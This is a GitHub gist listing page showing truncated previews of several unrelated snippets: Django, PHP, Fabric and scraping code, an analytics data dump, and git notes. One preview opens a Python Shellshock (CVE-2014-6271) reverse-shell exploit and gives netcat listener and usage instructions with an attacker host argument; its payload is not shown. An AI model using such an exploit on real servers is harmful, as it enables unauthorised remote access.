Skip to content

Instantly share code, notes, and snippets.

View elinaldosoft's full-sized avatar
🎯
Focusing

Elinaldo Monteiro elinaldosoft

🎯
Focusing
View GitHub Profile
@elinaldosoft
elinaldosoft / gist:9741654
Created March 24, 2014 14:52
Exemplo Filtros Dinâmicos
class CategoriaFather(admin.SimpleListFilter):
title = 'Categorias'
parameter_name = 'parent__id__exact'
def lookups(self, request, model_admin):
ids = list()
names = list()
for cat in Categoria().get_roots():
#
#CVE-2014-6271 cgi-bin reverse shell
#Use netcat -l -p 8080 to receive the reverse shell
#
import httplib,urllib,sys
if (len(sys.argv)<4):
print "Usage: %s <host> <vulnerable CGI> <attackhost/IP>" % sys.argv[0]
print "Example: %s localhost /cgi-bin/test.cgi '10.0.0.1 8080'" % sys.argv[0]
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import urllib2,json
def main():
resp = json.loads(urllib2.urlopen("http://divulga.tse.jus.br/2014/divulgacao/oficial/143/dadosdivweb/br/br-0001-e001431-w.js").read())
for cad in resp['cand']:
if (float(cad['v']) / float(resp['vv'])) * 100 > 10:
print "Candidado: %s: votos: %s percentual: %.2f%% de %.1f%% dos votos apurados" % (cad['nm'], cad['v'], (float(cad['v']) / float(resp['vv'])) * 100, (float(resp['ea']) / float(resp['e']) * 100))
if __name__ == '__main__':
main()
from fabric.api import env, run, sudo, local, put
def production():
"""Defines production environment"""
env.user = "deploy"
env.hosts = ['example.com',]
env.base_dir = "/var/www"
env.app_name = "app"
env.domain_name = "app.example.com"
env.domain_path = "%(base_dir)s/%(domain_name)s" % { 'base_dir':env.base_dir, 'domain_name':env.domain_name }
@elinaldosoft
elinaldosoft / getSizeBytes.php
Last active December 16, 2015 10:39
Esse método receber um value do tipo String no formato 1mb 1m 1MB, GB,KB,TB e transforma em uma cadeia de bytes. desconverte Megabyte (Mb), Gigabyte (Gb), Terabyte (Tb) para Kilobyte (Kb); $out = $this->getSizeBytes('1MB'); echo $out; 1048576
public function getSizeBytes($value){
$BYTES = 1024;
$mb = array('mb','m');
$kb = array('k','kb');
$gb = array('g','gb');
$tb = array('t','TB');
$formts = array_merge($kb, $mb, $gb, $tb);
$greatness = is_string(substr($value, -2, 2)) ? substr($value, -2, 2) : substr($value, -1, 1) ;
$size = str_replace($formts,'',$value);
switch ($greatness) {
public function buildQuery($conditions = array()) {
$conditions_solr = array();
if (isset($conditions["count"]) && !empty($conditions["count"])) {
return "fl=id";
}
if (isset($conditions["fields"]) && !empty($conditions["fields"])) {
$conditions_solr["fl"] = "fl=" . implode("%2C+", $conditions["fields"]);
}
<!DOCTYPE html>
<html lang=en>
<head>
<meta charset=utf-8>
<meta http-equiv=X-UA-Compatible content="IE=edge">
<meta name=viewport content="width=device-width, initial-scale=1">
<meta name=description content>
<meta name=author content>
<link rel=icon href=favicon.ico>
{'timestamp': '2016-03-17T17:53:27.962Z', 'projectId': 'j4bt0Xt7Ie', 'userId': 's.banda', 'integrations': {}, 'receivedAt': '2016-03-17T17:53:27.962Z', 'traits': {'c6_m4_grade': '1170', 'c4_m7_viewed_time': '1017', 'c5_m2_viewed_time': '1065', 'c5_m10_start_time': '1126', 'c3_m10_title': '948', 'c1_m2_status': '715', 'c3_m9_grade': '946', 'c3_m4_viewed_time': '905', 'c6_m8_end_time': '1199', 'c5_m11_start_time': '1134', 'c5_m10_end_time': '1127', 'c6_m9_start_time': '1206', 'c2_m10_done_time': '864', 'c1_m11_url': '781', 'c4_m11_start_time': '1046', 'c5_m3_status': '1075', 'c4_m1_title': '964', 'c1_m5_start_time': '734', 'c4_m4_title': '988', 'c4_m1_url': '965', 'c4_m9_viewed_time': '1033', 'c5_m1_grade': '1058', 'c2_m3_status': '811', 'c2_m2_status': '803', 'c2_m9_grade': '858', 'c4_m6_status': '1011', 'c4_m7_url': '1013', 'c4_m8_start_time': '1022', 'c1_m8_viewed_time': '761', 'c3_m11_end_time': '959', 'c5_m6_end_time': '1095', 'c4_m4_viewed_time': '993', 'c4_m7_grade': '1018', 'c3_m2_viewed_time': '889', '
[u'cola', u'segment']
{u'size': 5, u'total_messages': 271, u'name': u'segment', u'replicas': 3, u'type': u'pull', u'message_timeout': 60, u'project_id': u'56c27974a8cbf30008000090', u'consistency_factor': u'full_synchronous', u'message_expiration': 604800}
{'timestamp': '2016-03-17T01:54:13.360Z', 'projectId': 'j4bt0Xt7Ie', 'userId': 's.banda', 'integrations': {}, 'receivedAt': '2016-03-17T01:54:13.360Z', 'traits': {'c6_m4_grade': '471', 'c4_m7_viewed_time': '318', 'c5_m2_viewed_time': '366', 'c5_m10_start_time': '427', 'c3_m10_title': '249', 'c1_m2_status': '16', 'c3_m9_grade': '247', 'c3_m4_viewed_time': '206', 'c6_m8_end_time': '500', 'c5_m11_start_time': '435', 'c5_m10_end_time': '428', 'c6_m9_start_time': '507', 'c2_m10_done_time': '165', 'c1_m11_url': '82', 'c4_m11_start_time': '347', 'c5_m3_status': '376', 'c4_m1_title': '265', 'c1_m5_start_time': '35', 'c4_m4_title': '289', 'c4_m1_url': '266', 'c4_m9_viewed_time': '334', 'c5_m1_grade': '359', 'c2_m3_status': '112', 'c2_m2_status': '104', 'c2_m9_grade'
@elinaldosoft
elinaldosoft / git.md
Created July 9, 2017 13:48 — forked from leocomelli/git.md
Lista de comandos úteis do GIT

#GIT

Estados

  • Modificado (modified);
  • Preparado (staged/index)
  • Consolidado (comitted);

Ajuda